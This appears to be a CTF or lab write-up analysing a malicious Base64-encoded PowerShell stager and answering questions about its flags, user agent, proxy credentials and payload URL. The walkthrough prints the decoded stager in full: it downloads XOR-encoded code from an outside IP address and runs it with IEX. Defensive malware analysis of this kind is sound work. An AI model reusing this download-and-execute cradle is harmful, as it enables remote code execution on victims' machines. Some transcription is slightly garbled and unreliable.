

PowerShell Script

Description

You've come across a puzzling Base64 script, seemingly laced with malicious intent. Your mission, should you choose to accept it, is to dissect and analyze this script, unveiling its true nature and potential risks. Dive into the code and reveal its secrets to safeguard our digital realm. Good luck on this daring quest!

Research Objectives

- 1. What encoding is the malicious script using?**
- 2. What parameter in the powershell script makes it so that the powershell window is hidden when executed?**
- 3. What parameter in the powershell script prevents the user from closing the process?**
- 4. What line of code allows the script to interact with websites and retrieve information from them?**
- 5. What is the user agent string that is being spoofed in the malicious script?**
- 6. What line of code is used to set the proxy credentials for authentication in the script?**
- 7. When the malicious script is executed, what is the URL that the script contacts to download the malicious payload?**

Walkthrough

File hashsum

Firstly, need to get hash of the malware sample. And you too, if you want to examine sample closely through VirusTotal, AnyRun or, exactly, download it from the Bazaar.

- `powershell.exe Get-FileHash .\filename.extension`
Here it is:

Code examining

```
powershell.exe -NoP -sta -NonI -W Hidden -Enc
JABXAEMAPQBOAGUAdwAtAE8AYgBqAEUAYwBUACAAUwB5AFMAVAB1AE0ALgBOAEUAVAAuAFcA2
NAAzAC8AaQBuAGQAZQB4AC4AYQBzAHAAIgApACKQB8ACUAewAkAF8ALQBCAFgAbwBSACQAS
```

The first thing we are seeing is the powershell execute options:

- `-NoP` - NoProfile
- `-sta` - Single Threatment Apartment
- `-NonI` - NonInteractive
- `-W Hidden` - Window Hidden
- `-Enc` - Base64 encoded string as parameter

Well, as we see, main executable parameter is base64 encoded. To decode that, we should use the tool named CyberChef:

Lets clean it to clearly understand code:

```
$WC = New-Object System.Net.WebClient; $u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $WC.Headers.Add('User-Agent', $u); $WC.Proxy = [System.Net.WebProxy]::DefaultWebProxy; $WC.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $k = IM-S&fA9Xu{[]}|wdWjhC+N~vq_12Lty'; $i=0; [Char[]]$b=[Char[]]($WC.DownloadString("http://98.103.103.170:7443/index.asp"))|%{$_-BXoR$K[$i++%$k.Length]}; IEX ($b-Join'')
```

`$WC = New-Object System.Net.WebClient` allows to interacnt with websites

`$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'` is the user agent

```
$wc.PROXY.CREDENTIALS =
```

`[System.Net.CredentialCache]::DefaultNetworkCredentials` is the proxy credentials

`http://[98.103.103.170:7443/index.asp]` is the malicious payload file

Let's summarize

1. Base64

2. -W Hidden

3. -NonI

4. \$WC=New-Object System.Net.WebClient

**5. Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)
like Gecko**

**6. \$wc.PROxY.CrEdenTiAlS =
[SysTem.NEt.CReDeNTIAICAcHE]::DeFAULTNetWOrKCredEN
TiAlS**

7. http://98[.]103[.]103[.]170[:]7443/]index[.]asp